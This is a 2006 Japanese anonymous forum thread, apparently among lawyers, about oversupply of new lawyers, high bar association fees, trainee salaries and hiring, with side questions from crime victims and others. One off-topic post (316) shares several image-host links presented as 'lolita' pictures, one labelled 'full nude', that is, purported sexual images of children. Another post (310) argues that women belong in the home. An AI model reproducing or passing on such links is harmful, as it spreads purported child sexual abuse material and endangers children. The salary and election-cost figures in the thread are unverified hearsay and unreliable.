依頼者を毎回裁判所に連れてきてこちらを怒鳴る
依頼者に対するアッピールは大したもんだけど
最低限必要な法的主張すらしてこない
まあ負け筋の事件だからそういう対応しかできないのだろうけれど

296 :無責任な名無しさん:2006/05/14(日) 18:49:50 ID:9vjnabET
 家帰ってK1を見たいのだけど、とても帰れそうにないな。
 F1は見れそうだけど。

297 :無責任な名無しさん:2006/05/14(日) 18:58:49 ID:2Rvi77l2
女性依頼者と裁判所に事案を丸投げして
相手の弁護士が抜け目ない訴訟活動してきて
裁判官も男だったりすると
本来6:4か7:3くらいで勝てる事件でも負けるんでは。


298 :無責任な名無しさん:2006/05/14(日) 19:07:14 ID:RqwPEuee
>>296
漏れはTV見ながら事務所で起案(汗
F1は自宅で見たよ(泣

299 :無責任な名無しさん:2006/05/14(日) 19:17:24 ID:rnEn29eL
質問ですが拘束中の子供のために雇った弁護士がこちらと話したいと言ってきましたが拒否しました
この場合こちらに示談できないほどの被害があったと弁護士は考えてくれますか?
それともお金のためになんとしても示談に持ち込もうと思うのですか?
気持ちの整理がつかないし相手の再犯が心配で夜も眠れません
実刑を望んでいます

300 :無責任な名無しさん:2006/05/14(日) 19:22:05 ID:RqwPEuee
示談すれば刑が軽くなりやすいし場合により執行猶予も付き易くなるのは事実
ただ示談を拒否すれば金銭的被害回復の機会を逃すリスクも高いです

301 :無責任な名無しさん:2006/05/14(日) 19:52:00 ID:rnEn29eL
>>300

ありがとうございます
一番に欲しいのが平和な生活
賠償が欲しければ民事を起こせばいいのかと考えていますが
甘いでしょうか?

302 :無責任な名無しさん:2006/05/14(日) 19:57:22 ID:iRXFFE/2
弁護士は法律知識を売って報酬をもらう仕事ですよ
何か勘違いしていませんか?


303 :無責任な名無しさん:2006/05/14(日) 20:02:35 ID:rnEn29eL
>>302さん

すいません
勘違いしてるかも知れませんが良く判りません
もう少し判りやすく説明していただけると理解できると思います
もう一度教えていただけますか

304 :無責任な名無しさん:2006/05/14(日) 20:06:08 ID:2Rvi77l2
民事は実質的に純粋な法律知識より価値判断(自分の側に有利な価値判断をもらうための訴訟活動)が勝敗を左右するのが大半だと思うけど。
単に被告がDQNな事件を除いて

305 :無責任な名無しさん:2006/05/14(日) 20:08:48 ID:rnEn29eL
>>304
DQN=????
ゴメンなさい

306 :無責任な名無しさん:2006/05/14(日) 20:16:14 ID:s4dH2vfs
>>303
>>3

307 :無責任な名無しさん:2006/05/14(日) 20:21:44 ID:rnEn29eL
すいません
場所を間違えてたみたいですね
失礼しました

308 :無責任な名無しさん:2006/05/14(日) 20:31:12 ID:RqwPEuee
>。307
ただ,2chの法律相談スレは弁護士でない知ったかぶりもたくさんいるから注意した方がいいですよ。
弁護士会や地方自治体の法律相談(弁護士対応)を利用されることをお勧めします。

309 :無責任な名無しさん:2006/05/14(日) 20:36:44 ID:rnEn29eL
>>308さん

ありがとうございます
不安で仕方なかったので
地域の法律相談を探してみます



310 :無責任な名無しさん:2006/05/14(日) 20:57:13 ID:zui6g1j8
>>278
つーか、女が相談に来るからこっちはこのままの態度でいるんだろうね。
イヤなら女の弁護士を捜せばいいだけのこと。
いくらでも探せるじゃん。

俺は、女は家庭という時代の方が上手く世の中回っていたなと思う。
女房も同じ考え。

昔と違って家事は非常に楽になった。
選択、炊事を考えればそれは明か。子育てが昔と違って手が掛かるということくらいか。

「男に働かせてこっちは昼遊んで、それで男がいいと言っているのに、フェミニストたちは何をそんなにムキになっているんだろうねえ」、といっています。
「食わせてくれる男がいない女性でも何とかなるように世の中を変えようというのが彼女らの考えなんだよ。一種の福祉と考えれば納得いくよ。」
と言ったら、ものすごく納得してくれた。




311 :296:2006/05/14(日) 21:00:40 ID:9vjnabET
 起案終了。やはりK1は見られなかった。もう少しだけ仕事して、帰ってF1を見て寝よう。

312 :296,311:2006/05/14(日) 21:04:32 ID:9vjnabET
 と思ったが、一段落して、集中力が切れてしまった。帰るとしよう。

313 :無責任な名無しさん:2006/05/14(日) 21:13:08 ID:1y535e6B
>>301
場合による。
民事訴訟を起こしても、相手に財産があるとは限らない。
刑事事件でなんとか罪を軽くしてもらうため、示談資金は親族が出すが、
刑が確定したあとは、金を出さないという親族もいる(というかそっちの方が普通)。

こういう加害者の場合は、示談をもちかけられているときに示談しないと、二度と
回収のチャンスは巡ってこない。

314 :無責任な名無しさん:2006/05/14(日) 21:42:07 ID:GFuooM9b
>>310は非弁

315 :無責任な名無しさん:2006/05/14(日) 21:46:53 ID:rnEn29eL
>>313さん

ありがとうございます
回収よりも相手の反省や二度とこちらに関わらないでくれる事が一番なので
示談に応じて不起訴になると刑事責任も問えないので
回収できなくてもそうした方がいいのかなって思っています

民事で取れるなら起こしたいけど
無理そうなら止めて刑事で終わらせるようにします

316 :無責任な名無しさん:2006/05/14(日) 22:54:17 ID:3DN6XmHX
スレとはあまり関係ありませんが
ロリータ画像貼って置きますね

http://ranobe.com/up/src/up106355.jpg
アップ
http://ranobe.com/up/src/up106356.jpg
全裸
http://ranobe.com/up/src/up106358.jpg

http://ranobe.com/up/src/up106359.jpg
友達
http://ranobe.com/up/src/up106362.jpg



317 :無責任な名無しさん:2006/05/15(月) 00:28:21 ID:NB39jm0i
弁護士さんは離婚をたくさん扱っている方が多いと思うのでお聞きしたいのですが、
男は仕事、女は家庭という考え方、確かに夫婦関係がうまくいっている場合はありえると思います。
けれど、妻が専業主婦で、夫の浮気やDVが原因で夫婦関係が破綻してしまった場合、
離婚した奥さんはどうやってその後生計を立ててらっしゃるのでしょうか?
分与された財産もそのうちなくなってしまいますよね。
そう思うと、私は怖くて専業主婦になれません。日本でも、もう3組に1組は離婚する時代ですし。
昔は夫は仕事、妻は家庭でうまく行っていたといっても、
妻がひたすら我慢していたから表面的にはうまくいっていたことも多かったのでは。
それに、昔は離婚は法律的にかなり難しかったですが、今は別居期間が長引けば簡単に離婚になってしまうでしょう。
実際、夫に甲斐性があるけど事情で離婚された妻側のその後の人生等
ご存知でしたら教えてください。
また、女性が風俗的な職業に就く女性を擁護なさっている弁護士さんも多いようですが、ご自身は奥様がホスト遊びされても平気なのでしょうか?あわせて教えていただけましたら幸いです。

318 :無責任な名無しさん:2006/05/15(月) 00:35:14 ID:ycjym0J0
>>317
スレ違いです
その問題を扱っているスレに移動した方がいいよ

319 :無責任な名無しさん:2006/05/15(月) 00:39:36 ID:NB39jm0i
弁護士さんにお聞きしたいのです。
法律を扱っていらっしゃる方ですから。

320 :無責任な名無しさん:2006/05/15(月) 00:55:17 ID:ycjym0J0
弁護士の本業は有料での法律相談や法的紛争の処理です。

321 :無責任な名無しさん:2006/05/15(月) 01:04:20 ID:NB39jm0i
それはお仕事でしょ
でもここは本音トークスレですよね

322 :無責任な名無しさん:2006/05/15(月) 01:08:43 ID:TFBa8yJ/
ID:NB39jm0iについては以下スルーでお願いします。

323 :無責任な名無しさん:2006/05/15(月) 01:25:59 ID:NB39jm0i
ひど
弁護士さんって好き放題言いっぱなしの職業集団なのね

324 :無責任な名無しさん:2006/05/15(月) 01:29:43 ID:ycjym0J0
ただで情報もらおうというのがセコイ

325 :無責任な名無しさん:2006/05/15(月) 01:35:53 ID:NB39jm0i
情報もらおうなんて思ってない
ご意見を聞いているだけです。
もうねむいから寝ます おやすみなさい

326 :無責任な名無しさん:2006/05/15(月) 01:38:42 ID:ycjym0J0
プロの意見は有料です

327 :無責任な名無しさん:2006/05/15(月) 10:52:55 ID:oxqOk3Ua
  ↑
非弁が何を抜かすか

328 :無責任な名無しさん:2006/05/15(月) 11:05:12 ID:zvFooBqt
  ↑
非弁が何を抜かすか

329 :無責任な名無しさん:2006/05/15(月) 11:41:38 ID:oxqOk3Ua
  ↑
非弁が何を抜かすか

330 :無責任な名無しさん:2006/05/15(月) 13:07:46 ID:maESGgU4
最新の自由と正義で退会命令になってた人って,
以前ここで暴力弁護士で話題になってた人のこと?

331 :無責任な名無しさん:2006/05/15(月) 13:45:57 ID:0HqxIwMI
こんな奴と一緒に飲みに行くはめになって,
殴られた奴は浮かばれないな。

もっとも,他の会員からは,人身御供になったということで,
賞賛されているのかもしれないが。

332 :無責任な名無しさん:2006/05/15(月) 14:02:26 ID:08VnUyT8
>>330

そのとおり。

>>331
誤読してない?

333 :無責任な名無しさん:2006/05/15(月) 14:18:50 ID:V6okEfD1
タクシーの運ちゃんAを殴り,
その後,同僚Bも殴ったということではないの?

334 :無責任な名無しさん:2006/05/15(月) 14:33:18 ID:08VnUyT8
Bは、Aの同僚と書いてあるんだけどね。

こういうことを簡単に誤読しちゃうのは、どうしてなんだろうか。

335 :無責任な名無しさん:2006/05/15(月) 18:20:27 ID:S0uPmIwG
Aの同僚B以外には読めないと思うが。

336 :無責任な名無しさん:2006/05/15(月) 18:27:50 ID:08VnUyT8
だから不思議なのよ。
どうしたらこんな↓想像豊かな発想ができるのか。

>こんな奴と一緒に飲みに行くはめになって,
>殴られた奴は浮かばれないな。

>もっとも,他の会員からは,人身御供になったということで,
>賞賛されているのかもしれないが。



337 :無責任な名無しさん:2006/05/15(月) 19:17:57 ID:zvFooBqt
疲れてるんだろう
俺は人生に疲れ始めてる

338 :無責任な名無しさん:2006/05/15(月) 20:36:42 ID:pkPCTQAC
>>317
ある弁護士の元妻を知っているが,離婚のときに2000万,60歳まで月々15万円の分割で,慰謝料もらって楽しそうに暮らしています。

339 :無責任な名無しさん:2006/05/15(月) 21:16:44 ID:9S+14qMb
月収15万じゃ家賃払って終わり。とても楽しく暮らせないと思うが。
「恵まれてる」上位5%に入る人でもそれだから。


340 :無責任な名無しさん:2006/05/15(月) 21:41:21 ID:1GmuJV0d
都心に住むつもりかよw

341 :無責任な名無しさん:2006/05/15(月) 21:45:29 ID:d63IOS0T
田舎に引っ込めば家賃5万で一戸建て。

342 :無責任な名無しさん:2006/05/15(月) 21:54:40 ID:9S+14qMb
都心に住んでた人が友達も知り合いもいない田舎に住むわけ?
で毎日テレビ見るだけの生活と。すごく楽しそうだね。


343 :無責任な名無しさん:2006/05/15(月) 22:23:29 ID:p3H68QfN
ごめんなさい!悩んでいてよかったら相談させて下さい。
外国の法律事務所に知り合いが転職して、サイトを見て
みたら名前はあるんですが英語で「まだ承認されてません」
みたいな事がそこには載ってあるんです。
それって日本にはいないって事なんでしょうか?
それとも日本にはいるけど、研修期間中?みたいな感じ
なんでしょうか?
実は携帯の番号が全部消えちゃって、連絡取りたいんです
けど取れない状態なんですorz
さすがにそこに載ってるメールフォームから、前の会社の
知人を装ってメールするのは迷惑ですよね・・・


344 :無責任な名無しさん:2006/05/15(月) 22:42:11 ID:pkPCTQAC
>>343
勝手にしろ

345 :無責任な名無しさん:2006/05/15(月) 22:43:09 ID:pkPCTQAC
>>342
今や自分に何の貢献もしてくれない人に月15万円払う気持ちを想像してみろ。

346 :無責任な名無しさん:2006/05/15(月) 22:48:16 ID:9S+14qMb
そりゃ過去に自分に貢献してもらうために
相手の中長期的な自活能力を奪ったんだから仕方ないでしょ
そもそもそうしないことを選択すべきだったんでは?

347 :343:2006/05/15(月) 22:51:45 ID:p3H68QfN
>>344さん

本当に空気読めなくって申し訳ありません!!!
だけど真剣に悩んでて・・・でも誰にも相談できないもので
お邪魔しちゃって本当に失礼致しますm(__)m

348 :無責任な名無しさん:2006/05/15(月) 22:55:51 ID:d63IOS0T
>>342は仕事がなければヒッキーなんだろうな・・・可哀想に

349 :無責任な名無しさん:2006/05/15(月) 23:16:26 ID:9S+14qMb
? 
田舎が好きなら田舎に住めば?

350 :無責任な名無しさん:2006/05/15(月) 23:34:21 ID:zvFooBqt
田舎=テレビ見るだけの生活?

退屈な心には退屈が置かれる

351 :無責任な名無しさん:2006/05/15(月) 23:45:58 ID:d63IOS0T
引退したらそうするよ。
今の仕事関係を全て捨てるわけにはいかないからね。

352 :無責任な名無しさん:2006/05/16(火) 01:04:06 ID:Zyw6GngR
ニューヨークとか一人暮らしのお年寄りがすごく多いね。


353 :無責任な名無しさん:2006/05/16(火) 08:35:30 ID:TUooOXJK
>>345
>今や自分に何の貢献もしてくれない人に月15万円払う気持ちを想像してみろ。
弁護士会のことを連想して、一瞬悲しくなってしまった

354 :無責任な名無しさん:2006/05/16(火) 09:44:09 ID:RkFGL5in
>>353
年貢を納めた上に強制労働をさせられる。
そのうち一揆が起きるだろう。

355 :無責任な名無しさん:2006/05/16(火) 09:58:08 ID:y6xV5Te7
弁護士会って、何でこんなに会費が高いんだろうな〜
他の強制加入団体と比べても高すぎるよ。
プロボノとか言って、よく分からん活動のために会費が高くなっているんだろ。
当番だって、担当すれば収入入ってくるけどその分会費で取られているのだし。

今までは、限られた会員で、弁護士がやらなければならないのだからと使命感で
やらされてきたけれど、これからどんどん会員が増えていくのに、会務が多く
会費が高すぎるのはやってられん。



356 :無責任な名無しさん:2006/05/16(火) 10:22:17 ID:POGhJ5+g
あまり話題になってないけど、今日弁連副会長に
月額30万円の報酬を出すことが検討されている。

会員増を当て込んで、こういうことをしようとしているのが
日弁連。ちょっとどうかと思うんだけど。

357 :無責任な名無しさん:2006/05/16(火) 11:13:39 ID:RkFGL5in
執行部のクズどものおかげで会員が苦労してるんだから、会長副会長は報酬無しで、迷惑料として各人1000万円を徴収すればよろしい。

358 :無責任な名無しさん:2006/05/16(火) 12:53:13 ID:CYOQHwaH
>>357
同感

359 :無責任な名無しさん:2006/05/16(火) 14:03:24 ID:Hbaqcpah
執行部にはきちんと報酬を払った方がいいと思うけどな。
無給だと会員に対して無責任になりがち。
今までは出身単位会からの補助みたいのでまかなっていたと思うが、
日弁連としてきちんと報酬を払うべきだと思う。30万は安い。

360 :無責任な名無しさん:2006/05/16(火) 14:24:51 ID:RkFGL5in
1000万でもやりたがる欲ボケじじいばかりだがな

361 :無責任な名無しさん:2006/05/16(火) 14:32:59 ID:SDk5AA4z
事務次長とかは給料出てますよね。


362 :無責任な名無しさん:2006/05/16(火) 14:46:29 ID:HuPXdojY
副会長に給料出すのは決まったんじゃねえの?



363 :無責任な名無しさん:2006/05/16(火) 15:20:11 ID:VcJ9WTz4
会長のは1200万に昇給したけど,
副会長については,前の理事会では決まらなかったのでは。

364 :無責任な名無しさん:2006/05/16(火) 15:43:30 ID:ry5b8XeW
>>363
会長選っていくらくらいかかるのかねえ。あのハガキやFAXの山みてると
到底1200万×2じゃ回収できないだろうなあ。

365 :無責任な名無しさん:2006/05/16(火) 17:42:26 ID:y6xV5Te7
会長選は、会長候補者による会食があった昔は2〜3億、最近は表向きは
なくなったので1億程度と聞きました。
本当かどうか知りませんが。

366 :無責任な名無しさん:2006/05/16(火) 18:59:49 ID:e6ifnFCx
>360
 会長は好きでなっているので給料を出す必要はないと思いますが、
副会長は人身御供ですから、むしろ副会長にこそ給料を出すべきで
はないかと思いますけれど。

367 :無責任な名無しさん:2006/05/16(火) 19:32:03 ID:PTyMM1BA
>>314
俺310だけど、非弁じゃないよん。


368 :無責任な名無しさん:2006/05/16(火) 20:36:05 ID:J9ENVb1w
今日の夕刊に、うちの地方の修習生約60人中10人以上がまだ就職先が決まっていないと書いてあった。
修習生の就職難は深刻なようですね。

369 :無責任な名無しさん:2006/05/16(火) 23:51:03 ID:P1vBOvx2
やっぱり増員って間違いだったのでは

370 :無責任な名無しさん:2006/05/17(水) 00:18:40 ID:MLniclOe
就職できない二回試験合格者が法務省前でハンストしたりして。

371 :無責任な名無しさん:2006/05/17(水) 06:56:51 ID:bP0+d5Vb
http://news18.2ch.net/test/read.cgi/mnewsplus/1147482142/l50
ついにゲンダイネットに叩かれました

372 :無責任な名無しさん:2006/05/17(水) 08:39:33 ID:46T2WdMC
ウチの会から副会長になる人はなりたくて仕方がない人ばかりだよ。
日弁連の副会長候補者を選ぶために選挙までやったことがある。

373 :無責任な名無しさん:2006/05/17(水) 09:04:54 ID:vafo6qcg
大阪は修習生中30人ぐらい決まってないと聞いたけど、その後どうなったのかな?
来年は2500人中半分ぐらいあぶれるよ。

374 :無責任な名無しさん:2006/05/17(水) 09:33:10 ID:43Mq8prU
将来的に増員するのはいいだろうけど、一気に増やしすぎなんだよな。
少しずつ増やして、訴訟が増加しているか、弁護士依頼して紛争解決する
ケースが増えているか、検証しながら適正人数を増やすべきだった。
倍増させるにしても、1年に1割ずつ増やして、10年で合格人数2倍くらいの
スローペースじゃないとまずいだろ。


375 :無責任な名無しさん:2006/05/17(水) 09:45:38 ID:0YBeFcAi
今は、新人弁護士の給与の相場って、どのくらいなのかなあ?
私の頃は、地方の新人イソ弁は年俸600万というのが相場だったんだが。
それより安くなってるなら、一人来て欲しいけどなあ。

376 :無責任な名無しさん:2006/05/17(水) 09:49:54 ID:/h64XRwd
今なら、年俸400万円で募集しても来ると思われ。

377 :無責任な名無しさん:2006/05/17(水) 09:59:22 ID:F/qJd+nx
本当か? それなら事務員の年収より安いので、検討したいが

378 :TN:2006/05/17(水) 10:22:16 ID:Ci/3xgzq
>>374
俺たちの頃からすると既に3倍増だよ
そりゃ受け入れられずにあぶれるわな


379 :無責任な名無しさん:2006/05/17(水) 10:26:20 ID:cKF0KeT6
>>377
事務員の給料高すぎない?

380 :無責任な名無しさん:2006/05/17(水) 11:56:42 ID:brZyVtZo
事務員の年収より安い年俸のイソ弁カワイソス
そのうえ、弁護士会費も自己負担だとすると・・・

381 :無責任な名無しさん:2006/05/17(水) 12:11:39 ID:hyvpBQK2
事務員だと、給料+交通費+社会保険+雇用保険などで、月20万
程度でもボーナス入れると400ぐらいの負担になるぞ。社会保険なし
の事務所ならもっと安いだろうけど。

大阪でも今までなら600×2人採ってたところが、400×3っていう話
を聞く。弁護士費用を自分で払ってたら、修習中より収入減ってるんじゃ
ないか?

382 :無責任な名無しさん:2006/05/17(水) 12:33:04 ID:JH3RiXPj
このまま弁護士が増員されたら、それに比例して日弁執行部や
単位会の求心力が弱まるでしょうね。
日弁や単位会を、職業選択の自由、営業の自由や思想信条の
自由に対する侵害などで訴える弁も出てくるのも、そう遠くない
ように思えます。

383 :無責任な名無しさん:2006/05/17(水) 12:56:31 ID:43Mq8prU
>381
イソ弁だと、労働者としての権利はなしでいいし、事務員雇うより楽だよね。
事務員には社保・雇用保険等を準備してやっても、イソ弁にはそんなの不要。
残業手当も休日手当もなくこき使い、弁護士会費も自分で負担させる。
個人事件は、基本的に不可。事務所の事件だけでこき使う。
一昔前なら、そんな悪い待遇だとさっさと独立されて逃げられてしまったものだが、
初任給が低いと独立資金も貯められない。
そもそも大増員のせいで独立が難しい状況になっている。

・・・上の期の弁護士が増員に反対しなかったのは、単に安いイソ弁を使い回し
たかったためなのか?と穿った見方をしてしまうよ。

384 :無責任な名無しさん:2006/05/17(水) 13:17:52 ID:2TWafaSp
>>381
480(額面)で会費自分持ちというところがあるとうちに就職活動しにきた修習生に聞いた。
手取りで計算すると修習生の給与とトントンみたい。

385 :無責任な名無しさん:2006/05/17(水) 14:01:30 ID:Kpv1QZDc
すげー。つうか酷い待遇だな。
俺が辞めたとこの古株事務員は年500万以上、定時帰宅、
休暇消化ばっちりだったぞw


386 :無責任な名無しさん:2006/05/17(水) 15:01:56 ID:hyvpBQK2
>>385
俺がいたところの事務長は、基本給70万+各種手当、ボーナス5.5か月
で1500万くらいもらってた。
でも、やってる仕事は、仕事の割り振りだけ・・・

387 :TN:2006/05/17(水) 16:57:12 ID:Ci/3xgzq
1500人でこの調子じゃ,3000人になったらどうなるんだろうね。
でも日弁連は何にも考えてないみたい。
今は法テラスのことで頭いっぱいらしいよ。
金と人事の権限を法務省に取り上げられて,尻尾を振って協力するとは落ちぶれたもんだね。

388 :無責任な名無しさん:2006/05/17(水) 17:04:42 ID:RPGCvn+D
俺は57期の田舎弁だけど,去年の売り上げは給料込みで2000近くありました。
何か数年違うだけでかわいそうですね。
俺良い待遇なんだなあ

ま,金も貯まったし,独立するか。

389 :無責任な名無しさん:2006/05/17(水) 17:29:04 ID:w+y3ZqaZ
当職,50期代で独立してますが,そろそろイソ弁取って,早いうちに事務所の基盤を作っておいたほうがよさそうですね。
でも,あまり安くしたら,それなりの人しか来てくれなさそう。

390 :無責任な名無しさん:2006/05/17(水) 21:18:04 ID:ls4zmXgR
なんか見栄っ張り弁が多いですな ここ
これからが大変だよ

391 :無責任な名無しさん:2006/05/18(木) 12:45:04 ID:rWhCCfig
http://www.ntv.co.jp/announcer/new/profile/s_sumitani.html

392 :無責任な名無しさん:2006/05/18(木) 13:41:42 ID:vDcx4/1z
過払いで事務所拡張すると後が大変だよ。
もう食えなくなろうとしてるからね。

393 :無責任な名無しさん:2006/05/18(木) 14:18:22 ID:gI0BP440
http://tamago3.blog21.fc2.com/blog-entry-196.html

すごい話ですね
もうすぐありふれた話になるのでしょうか

394 :無責任な名無しさん:2006/05/18(木) 14:44:46 ID:0kj4zJax
ネタだろう。

395 :無責任な名無しさん:2006/05/18(木) 14:59:40 ID:1LSCx3Ok
いや、この人のブログ、他の部分も興味深く読んでみたけど、
ネタを書くような人じゃないね。まじめ一本槍という感じ。

実際にこういう話があってもおかしくないところに来てると思うよ。

それに500人時代の修習生だって、変な人は就職できなかった
ということはあるから(その人は、結局最初から独立だよ)、
いつでもありえた話。

でも、これからは、就職意欲とそこそこの能力があっても、
あぶれるという心配があるかもしれんな。

396 :無責任な名無しさん:2006/05/18(木) 15:31:59 ID:/BZeByFq
>>388
それじゃ独立出来んだろ?

397 :無責任な名無しさん:2006/05/18(木) 15:52:31 ID:Mmm/Lfbc
>>396
何で?十分じゃない?

398 :無責任な名無しさん:2006/05/18(木) 16:50:04 ID:OKOEMMZb
急遽1人必要になって、今月になってから59期の人を募集することになった。
今頃残っているのは何か問題があるのでは?と思ったけれど、何人か面接した感じではそうじゃなかった。
ボスは「何の問題ない人ばっかりだな。あんな人でも就職が決まらないで残っているとは恐ろしい時代だねぇ。」



399 :無責任な名無しさん:2006/05/18(木) 17:03:17 ID:KVeqdNF2
就職できない人って、無収入なのに、馬鹿高い弁護士会費をどのようにして支払っているんだろうか?
もしかすると、そもそも登録していないのかな?

400 :無責任な名無しさん:2006/05/18(木) 19:03:50 ID:1/tm8b9n
まあ裕福な家の子が多いからニートやってるんじゃね
肩書は弁護士だしね


401 :無責任な名無しさん:2006/05/18(木) 19:08:46 ID:SkOR4bN7
インハウスの弁護士は嫌なの?
弁護士の肩書きがあれば雇ってくれそうな会社はいくらでもありそうだが。
それより弁護士でも就職難の時代、いわゆるローの三振博士はどうなるんだろう。
以前の司法試験のように受かるまで粘ることができなくなると。

402 :無責任な名無しさん:2006/05/18(木) 19:27:18 ID:DDQcwOfI
>いわゆるローの三振博士はどうなるんだろう。
Not in Education, Employment or Training

403 :無責任な名無しさん:2006/05/18(木) 19:35:00 ID:Ehk+Rsk+
増員なのに会費下げないってどういうことよ。
合格者を増やすのが目的で、登録者を増やすのは目的じゃないわけか。
競争で淘汰云々は登録「後」のことではなくて、登録「前」ってことだったのね。

404 :無責任な名無しさん:2006/05/18(木) 21:25:09 ID:RBzuvy1E
会費はせめて月30kにしてくれんかな

405 :無責任な名無しさん:2006/05/18(木) 23:48:49 ID:Q9bU9T2H
>>401
弁護士の肩書き持ってたって、実務経験のない奴を
そうそう雇ってはくれないよ。

本当に日弁連も罪作りだね。大量増員されるから自分も
弁護士になれるぞという希望を与えておいて、いざなった人の
多くに就職先を用意できず、あぶれさせるんだから。

406 :無責任な名無しさん:2006/05/19(金) 00:15:57 ID:H4RRzSqq
>>405
数年前から公認会計士がそんな感じ。
中央青山の件なんか見てると、あの業界どうなっちゃうんだって思うよ。
いずれ対岸の火事ではなくなるが。

407 :無責任な名無しさん:2006/05/19(金) 01:03:51 ID:PjFFa1h6
漏れの兄弁は公認会計士業界に失望して,ガチ弁3年で司法試験に受かって転職した組。
「いい時期に転職しておいてよかった」とボソっと言った(両業界ともにいい時期だったね)。

408 :無責任な名無しさん:2006/05/19(金) 05:23:04 ID:Z5/B2vV2
中央青山監査法人と明豊ファシリティワークス(ジャスダック1717)と元プラスイスハウス・クーパーズ&コンサルティング(現・日本テレコム(代表執行役社長)、倉重英樹氏の関係に関する素朴な疑問
http://spring.livedoor.biz/archives/50556432.html


409 :無責任な名無しさん:2006/05/19(金) 09:07:49 ID:yLarIKH4
>>405
地方のゼロワン地域だと、いきなり独立できちゃうケースもあるけどね。
裁判所も、何とか育てようと親切にしてくれるし。


410 :無責任な名無しさん:2006/05/19(金) 09:51:26 ID:vWGYeLJc
昔の合格者ならいきなり独立しても何とかなったんだけど最近のはレベル低いからねえ。

411 :無責任な名無しさん:2006/05/19(金) 10:04:33 ID:1rTwpnpT
ばらつきが大きくなった、と言った方が反発を受けないよ。

412 :無責任な名無しさん:2006/05/19(金) 10:45:26 ID:G4eKf1W5
それもないとはいえないが、法律や実務が昔より相当複雑に
なってきているということもあるんじゃないか
昔は地方なら3年で独立するのが当たり前だったというのが
ちょっと信じられない

413 :410:2006/05/19(金) 11:12:26 ID:vWGYeLJc
前言撤回。
数を増やしたことによって優秀な人たちの中に、そうでないのも相当混じるようになった。

414 :無責任な名無しさん:2006/05/19(金) 11:19:26 ID:ky1J5z/f
>>405
増員は外からのプレッシャーに負けて渋々受け入れたという感じじゃなかったっけ。

415 :410:2006/05/19(金) 11:35:55 ID:vWGYeLJc
インハウスに大量雇用はクボリが主張してたが、できるもんならやってみろ。
そしたら次回入れてやってもいい。

416 :無責任な名無しさん:2006/05/19(金) 11:47:31 ID:6vmNdv0O
単に弁護士も勝ち組負け組の幅が広くなってきたというだけなんじゃないの。
企業社会でも同じ東大卒でも収入や待遇の差なんて千差万別だよ。

417 :無責任な名無しさん:2006/05/19(金) 11:59:00 ID:i+rOsj36
インハウスなんて、しょっちゅう法律事務が発生するような大企業の法務部に
それぞれ1〜数名いればいい程度じゃないか?
そんなの、全体で何人になる?
どんなに多く見積もっても、1000人位で終了だと思うんだけど。

普通、弁護士の資格持っている人なんて、自分の会社には入れたがらないよ。
頭でっかちでうるさそうだし、会社内のちょっとした問題をいちいち法律違反と
指摘しそうなイメージあるし。
弁護士として雇えば、それなりの給料を払わなければならない。
余程事件が多いところでない限り、外部発注の方が安上がりなはず。
しかも、一旦雇ってしまうと、簡単に首切れない。
問題があったら、あっさり関係を断てるように、外部に依頼の方を選ぶ企業の
方が多いんじゃないかな。
どこかの国みたいに、法曹資格持っているけどタクシードライバーみたいな人が
増えれば、普通の従業員として雇ってくれるようになるかもしれないけどね。

418 :無責任な名無しさん:2006/05/19(金) 12:05:15 ID:6vmNdv0O
頭いいなら起業すればいいじゃん
ロー行けるくらいなら実家も裕福だろうし。
弁護士資格持ってるからって甘えるな
弁護士以外はみなそうしてる。

419 :無責任な名無しさん:2006/05/19(金) 12:32:01 ID:/Adi+TIj
>>418
今の弁護士はローになんか行ってないわけだが・・・
弁護士以外はみんな起業家なのか・・・

420 :無責任な名無しさん:2006/05/19(金) 12:43:06 ID:6vmNdv0O
ロー卒じゃないのにロー卒に負けるようなDQN弁なんて
負け組でいいじゃないか。
なんでそんな奴に普通のまじめなサラリーマン以上の
待遇をしてやらなあかんわけ?

421 :TN:2006/05/19(金) 13:48:30 ID:YTVBSEhd
弁護士会も共謀罪反対以前に共謀共同正犯否定の運動をしてほしいところだな
明文なしに認められるだけにかえってタチが悪い

共謀共同正犯否定説を書いて合格したオレ


422 :無責任な名無しさん:2006/05/19(金) 13:49:24 ID:j4gt0j6w
企業内弁理士だと、若干の手当が加算されるだけで、給与体系は他の従業員と同じっていうところもあるから、
そういう制度にすれば、インハウスも増えるかもね。

423 :無責任な名無しさん:2006/05/19(金) 14:50:52 ID:6vmNdv0O
>>422
企業内会計士もそんな感じだよ
3000人合格時代に弁護士だけ特別扱いするのが変だろ

424 :無責任な名無しさん:2006/05/19(金) 14:54:57 ID:6vmNdv0O
そもそも法律知識なんてあって邪魔になるもんでもなし
インハウス(法務部)に限定しなくても会社内で法律知識がある程度生かせる業務に就けばいいんじゃないの

425 :無責任な名無しさん:2006/05/19(金) 18:24:10 ID:QH3uVuMn
若手が独立しにくくなったのは、情報社会の進展で
当事者が簡単なトラブルなら弁護士を介さずに自分で解決できるように
なったからでは。
そういう意味では、独立心の高い人は弁護士より外科医でも目指すほうがいいのかもしれない。
当事者本人は相手と交渉や訴訟は自分でできるけど
手術は自分ではできないからなあー

426 :無責任な名無しさん:2006/05/19(金) 18:54:27 ID:1rTwpnpT
>若手が独立しにくくなったのは、情報社会の進展で
>当事者が簡単なトラブルなら弁護士を介さずに自分で解決できるように
>なったからでは。

そんなのは、元から弁護士の仕事ではなかった。

弁護士の数が増えたのが一番の原因だろう。
ゼロワン地域なら、いきなり独立もできるというのは
そういうことを裏付けているように思う。

427 :無責任な名無しさん:2006/05/19(金) 18:56:02 ID:wkpFWDoD
>>421 TNさん

団藤さんですら「行為支配理論」を助け船にして、
判例のお先棒を担ぐようにまでなってきてますが。(綱要第3版p397)

428 :無責任な名無しさん:2006/05/19(金) 19:23:54 ID:Su8ulpcM
たしかに法律知識が一般市民にもひろく浸透してますよね
インターネットの発達によって
今までは法律事務所や裁判所の加除式図書でしかひくことができなかった
マニアックな法令もすぐに調べることができてしまう

弁護士の調査も文献調査や判例調査はともかくせいぜいあとはグーグルでの検索
一般人との知識の差がどんどん埋まっていってる

429 :無責任な名無しさん:2006/05/19(金) 19:38:58 ID:oRiw1pUY
>>427
団藤先生は最高裁判事になったからじゃないの。余談だがローの実務家教員の中に
ほぼ判例実務しか教えない教員がいるそうだ(ほぼ検察出身)。学者教員には実務は
教えられないから刑事系はどうしても実務家教員の影響が大きくなる。逮捕拘留され
ている被疑者に取調受忍義務があるという前提で講義をするとか。共謀共同正犯否
定説なんて恐らく紹介すらされない。日本の刑事弁護の将来が危ぶまれる。

430 :無責任な名無しさん:2006/05/19(金) 20:18:30 ID:M9sF0sae
法令,判例の情報入手は容易になっても
それを使いこなすことは困難よね。
